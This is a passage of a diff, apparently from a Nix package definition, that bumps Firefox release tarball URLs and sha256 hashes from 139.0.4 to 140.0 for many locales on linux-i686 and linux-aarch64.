-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ka/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ka/firefox-140.0.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "fb3b3e8862859547f9b5b90a090e7d6710570bbee4787e97abb46bff28cc1c95";
+      sha256 = "647dde6af325c4087b5aff52f3a28dd92221c183078e9d742635d932753a0aec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/kab/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/kab/firefox-140.0.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "3552aebf4a502dfe025c46507d850da260a6ba4658e5351d2251f556b83ad46f";
+      sha256 = "d5155f2fd0c57886c9650a5177b8201b743ef31302f2f86539a1e162c12430e5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/kk/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/kk/firefox-140.0.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "e0dbd303cc0bf6b871d014c713cf82f266b9d967863accef19f6b56827382052";
+      sha256 = "85cc556e7ffc2a984729b1710966f3086764aa83b166a613ab90259f359a8f21";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/km/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/km/firefox-140.0.tar.xz";
       locale = "km";
       arch = "linux-i686";
-      sha256 = "b17961974cecc5590308355f1b508d419d84461218971ac9a908bea487fa9967";
+      sha256 = "5d5834299ca4e9eb66354a91a9bf429473f0468828fec2d86c86ee40a17b2c63";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/kn/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/kn/firefox-140.0.tar.xz";
       locale = "kn";
       arch = "linux-i686";
-      sha256 = "047486b8b9df977cf9a76f109ab03625def072a22d3bffa2dbb9c77d71520b26";
+      sha256 = "2b23ec6ccc2f1945d783fc54fcb2873a96472257ff12e2493d03e0c946c9441e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ko/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ko/firefox-140.0.tar.xz";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "0919023686ae97cf1374d1bf304375ba73754b99dd2c23f9223b1b12305f2de0";
+      sha256 = "ef5955e0b1fafec57fcf60cc42a246e405a18d38a22ab78c5649da7c07b7c71d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/lij/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/lij/firefox-140.0.tar.xz";
       locale = "lij";
       arch = "linux-i686";
-      sha256 = "a85760998268af3d85e276192803f8dd2a25aa32a6dce49073b04a49a9cf5a59";
+      sha256 = "90dfe86b2518b32795c3828ab57651634596f9dec8f63a578a00b5cc6bb5f0ee";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/lt/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/lt/firefox-140.0.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "529e0dee5e1d763c6e55ddc84681b5184d2969acad240ff22a214c59ad01532d";
+      sha256 = "4979df9559b4b2cd1bcbc78dbadd0cae6b2c6152d8322a34816072cb54fb8d42";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/lv/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/lv/firefox-140.0.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "71f092b9cec8e46243624b66e5b4b5a52a0b9986f0c3e14416c5d25a077e04c6";
+      sha256 = "fb7dc8c7a41c8e06e6c349252381a5187bfd1608a4a35c68e768a6c3d5fd64de";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/mk/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/mk/firefox-140.0.tar.xz";
       locale = "mk";
       arch = "linux-i686";
-      sha256 = "04e73e2ebdae9de26fcbaf8571a41af32af4a3ca6d7ea3091471915ce20bdcc2";
+      sha256 = "9e413e4f774b8fc38df94efef0efbb20f7e999d53e69c39c0607a9479cd360c2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/mr/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/mr/firefox-140.0.tar.xz";
       locale = "mr";
       arch = "linux-i686";
-      sha256 = "324442e377367a7c0258e4fb40b6224dc2959529b8f1fed37538e45a20163595";
+      sha256 = "15c1201c3b2103c875c48716bcaedc0fe90e9c9d01b520fba1b058095d944120";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ms/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ms/firefox-140.0.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "4b8e02849118a679336a2abdbfb042e7bd3224a1e9222446516d91d77832d71b";
+      sha256 = "828f7bceefd2bbddc9e2f6df509d53fbfbd0ad56adec778478f87c5dc6e58504";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/my/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/my/firefox-140.0.tar.xz";
       locale = "my";
       arch = "linux-i686";
-      sha256 = "bda89eac6da7f59b3b2de2a1698f4383357e948686f9dc84998ec1d92a9652e9";
+      sha256 = "d25552cc28081edda72b172fa93316920f6c652fc80eff79fa0dec676344a3d1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/nb-NO/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/nb-NO/firefox-140.0.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "9988f3cf8dad6902fe2763d9b948583c8f82299d81cea3f65a676935c7f313f1";
+      sha256 = "4a6b1173f3bc03a985622ad4d6c75c4a68c4d03911ebb60a0534cc98edbc3e8d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ne-NP/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ne-NP/firefox-140.0.tar.xz";
       locale = "ne-NP";
       arch = "linux-i686";
-      sha256 = "1b61eb98a83d23559b1fffaa7499e9e2b3f4fe2c2a0327ffb744120f5f80da52";
+      sha256 = "6575d236540712abd703e70d41287bdb4c834c3da43e77663138f4a870e47d8e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/nl/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/nl/firefox-140.0.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "f553b638e106ddc6049cf67f5634782ec6ae34f6bdbd246f81c82adc827e6c01";
+      sha256 = "5398a08fffcf35b8b44d8cccfe611e448c66f5c2cd828f23f50308c2fea82fb3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/nn-NO/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/nn-NO/firefox-140.0.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "86555515661c06fa00591bdb3423396269fe7a2e3ba4d73b4e1b8620eaa1f822";
+      sha256 = "3dcdd81ca0b90a0a5d4d51a2b70797a20463dc713c77821b77ad511e53b0419e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/oc/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/oc/firefox-140.0.tar.xz";
       locale = "oc";
       arch = "linux-i686";
-      sha256 = "f242548e87b0e92ef4fb0eb68d29addcc3f58b65df2b2fb5ad913273b3fe3d95";
+      sha256 = "2748f2414a9e8f75a5d70295b580669b0e5aee06c3ca93aad843b79acd8bb390";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/pa-IN/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/pa-IN/firefox-140.0.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "9e72ef974c9f54f45bd21fd7cb9c6fe151dcfb34e28592a288e4b4015b32baf2";
+      sha256 = "78810d2d99bc363c0a191f00e57d391ee6c2bccc8638099edb984827cc8aaa61";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/pl/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/pl/firefox-140.0.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "6e34c07c6e49496f2a7432a208856ce79243922fd66ac2aa9ad52554edc8c23a";
+      sha256 = "56bc942a139d5220a0410b44bd580afb20283ff64c046c5fe1093315fb7f39aa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/pt-BR/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/pt-BR/firefox-140.0.tar.xz";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "afa37290f28660747079c4bd2ab98dba5e457367b724403fd77519fb9c9f08f0";
+      sha256 = "d837122fbb3830e3c25cc54abf6d0759efafc6cf681b7061df3fee4d01b36f80";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/pt-PT/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/pt-PT/firefox-140.0.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "814e3f6291e2069f7943f4b2346db6ec2a988d25e745fe22cd485d050c7b775e";
+      sha256 = "3715ad7474d717de8a77e6797dbfd9be4066a63ae60067a301f58c2f4f112213";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/rm/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/rm/firefox-140.0.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "48baf70deb72a311169ab36de965d533f8bcb3960c281337e2b37056cedd8789";
+      sha256 = "1c1f58a0f1da814587d09ef4a17daa9fc1fea8be758bd260a4bfe15459d90244";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ro/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ro/firefox-140.0.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "b177ac8b560468584ccd25b3bb0fafe1e278cc7e8ae18802b6d5d7c657f233c0";
+      sha256 = "914c2d80f03446855f092709d4e4175ab71942513d84e479815167cd8f135115";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ru/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ru/firefox-140.0.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "d6dc4192564fde8408f898c817751c11e2cf68aa2e9844fad60ed91c9178cdef";
+      sha256 = "19d66fe6d0c24967819d2192e89be9f5e29d38148ad6ec076da1b6ae70c1313f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/sat/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/sat/firefox-140.0.tar.xz";
       locale = "sat";
       arch = "linux-i686";
-      sha256 = "8eeb999dd5a933c38ea7d62fe3d5c2e10fd9d07847ad462e6f5507d099f762e8";
+      sha256 = "7dfc804665848b88ebe9b610f77408ea7e4dc8b118a22f25bac216ef3295d6e8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/sc/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/sc/firefox-140.0.tar.xz";
       locale = "sc";
       arch = "linux-i686";
-      sha256 = "803635fd3702461becc8ab010ea0bda7d301d5c5cbc8392a5ab58dff56d8f445";
+      sha256 = "e7a2256fd55db43ba8baae4068e6292a15f9c186b3a60da4df77fdd8c840a353";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/sco/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/sco/firefox-140.0.tar.xz";
       locale = "sco";
       arch = "linux-i686";
-      sha256 = "140f73e91f87117102182ba5a3202732534079cefb1e4a2b6e2433bcb7715ceb";
+      sha256 = "80a17e8de05303328f79015ebc259b7440fea3d3030530e5f9a7d2b757e599df";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/si/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/si/firefox-140.0.tar.xz";
       locale = "si";
       arch = "linux-i686";
-      sha256 = "74295d3e36c89e63491c206aa35c7a997c7e27294da858945c278e1099af36e3";
+      sha256 = "132b579bf63817cf4c82ead9d71ff993eb6810678bff5e765021cf8a6f34bf46";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/sk/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/sk/firefox-140.0.tar.xz";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "1fcf471dcdeda8e54de423aa0a1a0a5b5749204e01614af653ffd2918e05c151";
+      sha256 = "844cbf92400e3550bcb52ca8fbdf073941908371d389d7cc1a9812624ba14ee1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/skr/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/skr/firefox-140.0.tar.xz";
       locale = "skr";
       arch = "linux-i686";
-      sha256 = "42c02a2f60d103d2c9995997e10d633df030834bf7b4ce83d9727578cf7ff742";
+      sha256 = "1fd5b1b24d87fae4eb04fd89a6e32519467cb31804345f5162c3587a107901e9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/sl/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/sl/firefox-140.0.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "3759a62cee67569c3d806ea5c0654b805b279fe1f73f0564bc37b2d670fdc864";
+      sha256 = "52c3a9e5b642dd15c9caaca8239c7cdb228f843b3e9ad4029fc3a27e6ba1f1e8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/son/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/son/firefox-140.0.tar.xz";
       locale = "son";
       arch = "linux-i686";
-      sha256 = "5a42bf5cbceaba1110e6aeb4702a9e428a461c4279365718f9c97c9d05572f94";
+      sha256 = "5427d6f042733ef0b39dc1e33f1a84dd3aab8cc8fb972633920a74af285dff06";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/sq/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/sq/firefox-140.0.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "8ad93b9be577f097c463159ce387734ff7f9eb36e0ed8f9fbbacc771fc868a94";
+      sha256 = "68b79ae973c70ec3055fd0aaeb660350fa4d221a8b4fa464f58bc52171c09501";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/sr/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/sr/firefox-140.0.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "e0995b485641a2eb03a200fb7d4f7f046b90c426d23d042d9c25b56ec2f295e6";
+      sha256 = "3edbbf253a196a40f93a32f46cebffa66c59b660655e22b811d7c81fad173252";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/sv-SE/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/sv-SE/firefox-140.0.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "a3520a6c77e8c67a76880bee35653d0445b18049a9ada355c71fbc56318bffaf";
+      sha256 = "c1121301abcb85c6cf939439d35205b651a3bce7f46dcc23be1bf40f2a539cc7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/szl/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/szl/firefox-140.0.tar.xz";
       locale = "szl";
       arch = "linux-i686";
-      sha256 = "52cb80058bf8543f14a2202855d64e83dfc8993446de69e08e2bb8abb439b222";
+      sha256 = "8fcac69b94c535772ab13f5dfd95bb9b5a6c59a30d9501a46c66dc41a6447973";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ta/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ta/firefox-140.0.tar.xz";
       locale = "ta";
       arch = "linux-i686";
-      sha256 = "7ac2507c436c6c4646be555e1e173d77563b55921242e203f4883c3cd67cd3c2";
+      sha256 = "d7a1c13cb0243913e2a41352cafd1720c609877a73e144b7f6f2f472a3dbd93b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/te/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/te/firefox-140.0.tar.xz";
       locale = "te";
       arch = "linux-i686";
-      sha256 = "9f2220954e02fed4a702783198a7abb2c4d6fd760faf6bfd0287ed12b4a6c453";
+      sha256 = "3b46900ac10bd7704c22c1020ef551458e7df95cc770d09b6965d089c773ca1d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/tg/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/tg/firefox-140.0.tar.xz";
       locale = "tg";
       arch = "linux-i686";
-      sha256 = "5f6cefd0b7aac491bcb9bba8fd1eeba47bdef89b98e779b85dc549bb6ecafda5";
+      sha256 = "023b51977b8ea9e3165f6accb533e72c70290795139fdd733fbf5de89d33e148";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/th/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/th/firefox-140.0.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "b1d1aa04e53a3999c0c62165aa40515edca0c7acc770bfa78134eeb553358ea8";
+      sha256 = "f26dca620fe1325c609ee93fdebe8934142af5272feba47b3d5ef8b91c3d1051";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/tl/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/tl/firefox-140.0.tar.xz";
       locale = "tl";
       arch = "linux-i686";
-      sha256 = "972ababdcd8d3dde44576161e02261e8cd78adeea818163e45c4b90f9bfcbb23";
+      sha256 = "d6318dcd53daebac02970e1b0f22153b61ee45c1ceb7b6890cd4bf54809be1ca";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/tr/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/tr/firefox-140.0.tar.xz";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "08801042b4a12f267c93d6d781ca269dc3b2e5caed8e86403a6cb43a3d4d5b3d";
+      sha256 = "34a30e1baf297748aad567a88f9356be385d8b7cea3c394085ae412144479364";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/trs/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/trs/firefox-140.0.tar.xz";
       locale = "trs";
       arch = "linux-i686";
-      sha256 = "c7c254cf94b2cd6207c2ad434b09072d36059fa0a4d2b8c41702f69895984b7e";
+      sha256 = "80f594466fb75ce05a4497db559bf4d8197ed19db52dd44bfedd803d8e1cdc64";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/uk/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/uk/firefox-140.0.tar.xz";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "1d341cbfad5acac7ebe73300178247e7015b7eae7e00071fbe19492cc3dfc8e1";
+      sha256 = "52c709b5761f386ef8c5d2358ef1114731bd421afafb53bc1bd69527bde014ac";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ur/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ur/firefox-140.0.tar.xz";
       locale = "ur";
       arch = "linux-i686";
-      sha256 = "e51b2223a7cb2d88e07b2ed5c9b4d79867717c895d5774b122b8d6831e6c1be1";
+      sha256 = "dc4fd7b5b23b2c9bda42049b8e551638fdf40f0e427dff872534bb5891a1a632";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/uz/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/uz/firefox-140.0.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "de64d9c4fdd89e7c9848240b75071f8ac19aa9e15d68206e255d35485c3a8737";
+      sha256 = "45c616db01a599f8d29751be1755847184bee254c155613be2b3d1cf0ef3312c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/vi/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/vi/firefox-140.0.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "847d66a816495a3b9aa5cdb55223d0f7e2f433dc1317e9f57ccac6f0e8b8672f";
+      sha256 = "926030d4e55b1cbd109294ef38f0b717adca460f1347bc8665e44229b920e992";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/xh/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/xh/firefox-140.0.tar.xz";
       locale = "xh";
       arch = "linux-i686";
-      sha256 = "06c0b927c4f78c193c905ba6377ce7c73adca7d365c87ee956fb5da498dc2a59";
+      sha256 = "9be05a8cb72c51a6d2b5560555e2d74187574b8e883dd77379c50914c0c2b766";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/zh-CN/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/zh-CN/firefox-140.0.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "85bfe68ecd852a836dbb5d50622236aa5bfa29440264f5ea1e34f602c6fbbeaf";
+      sha256 = "7a7090b51088cacc9f191d52bb9e615b17bf82b73b334fba7a1e3d7ac9d2fa3f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/zh-TW/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/zh-TW/firefox-140.0.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "2ffdaedc3ecaa4a1ff114a01de553820de01b5913f28cee6d414491b96f55145";
+      sha256 = "7aed918551cd77d29e32b93df7ca638bc547f91c79b21ad6acc5d3ad90f8a07f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ach/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ach/firefox-140.0.tar.xz";
       locale = "ach";
       arch = "linux-aarch64";
-      sha256 = "721ac1aa1a9b026395e091fd8e1301ca0a39b73927da73854f2eab4162ade513";
+      sha256 = "88162f5647ee5107ac01fdf90bb4f25739d9ca7352e60adcdd37d0aac7e05649";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/af/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/af/firefox-140.0.tar.xz";
       locale = "af";
       arch = "linux-aarch64";
-      sha256 = "aa5fb1e9e707df84d1429c9e142cf1f2055f34da3f16637d96e6df251288e291";
+      sha256 = "dcbfee58cb12d750681a3657795ddee402823725a6bcbee491dd3540f1d9d536";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/an/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/an/firefox-140.0.tar.xz";
       locale = "an";
       arch = "linux-aarch64";
-      sha256 = "d81540e5421ffec2d304aa170c18312587299de64c31bfcd702bb47fbe3632b0";
+      sha256 = "d7596e43acb927810599559a6c64684bd8a8b150534743e99d1aafd6605d796c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ar/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ar/firefox-140.0.tar.xz";
       locale = "ar";
       arch = "linux-aarch64";
-      sha256 = "c450168bf703e95ff56eefbd74e8c46d05ddda4d2bd305540a8849958a6283d4";
+      sha256 = "61aed3a99cb3d8b9e73a1840eed20be5e5fee11cb8267934f43850e62340265e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ast/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ast/firefox-140.0.tar.xz";
       locale = "ast";
       arch = "linux-aarch64";
-      sha256 = "02e2382dc6c35cd06385ab7c3c3c3c73cebe9ce7e25047911d9503a77f7d4ac4";
+      sha256 = "1f0660efdd4126ff867edeeb506250c13500ec06b6027591334de9cdc4160b16";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/az/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/az/firefox-140.0.tar.xz";
       locale = "az";
       arch = "linux-aarch64";
-      sha256 = "a9eb519fb77528ab492d01b8d121553ebf25d4ed20fe05b4b6592fbef1d7c7a6";
+      sha256 = "b2f3503228319b98a1e9efea27efe06510f4c8adfba578d27717426383fab577";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/be/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/be/firefox-140.0.tar.xz";
       locale = "be";
       arch = "linux-aarch64";
-      sha256 = "e9a41ec7d9a082935d6f2a60344e1d7c04c18771ee5d64988f862bb2be55b783";
+      sha256 = "d1c320e76dbcc3bbbc1d2b5ff1d9473bb029e7e32228459c463209954fb135a0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/bg/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/bg/firefox-140.0.tar.xz";
       locale = "bg";
       arch = "linux-aarch64";
-      sha256 = "d494965d72a0fcc08e5ef743dc3fd24c1ab1c9a204ad1a080069e2bc65024b09";
+      sha256 = "093ca4ab96bfc4c53226cad25c6598748a1de256a65d751fb502137641276aaf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/bn/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/bn/firefox-140.0.tar.xz";
       locale = "bn";
       arch = "linux-aarch64";
-      sha256 = "1268bfb3ea7c9d44bc7b4a905d1d9547045bb405b89a7e95fa855ac6c4818690";
+      sha256 = "fa1144dc09cc3222fc8b0beedc8f1e3744a659afa3a592a5bd808588bebb0027";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/br/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/br/firefox-140.0.tar.xz";
       locale = "br";
       arch = "linux-aarch64";
-      sha256 = "46d998f97d1d61a03fdfaa0af5c882d8ed376eefa2a843323e538aff1f61e005";
+      sha256 = "dd05859ffd2c9e24971fb008872ae1b6ec6c824727946412e715ec2643292d86";
     }
     {
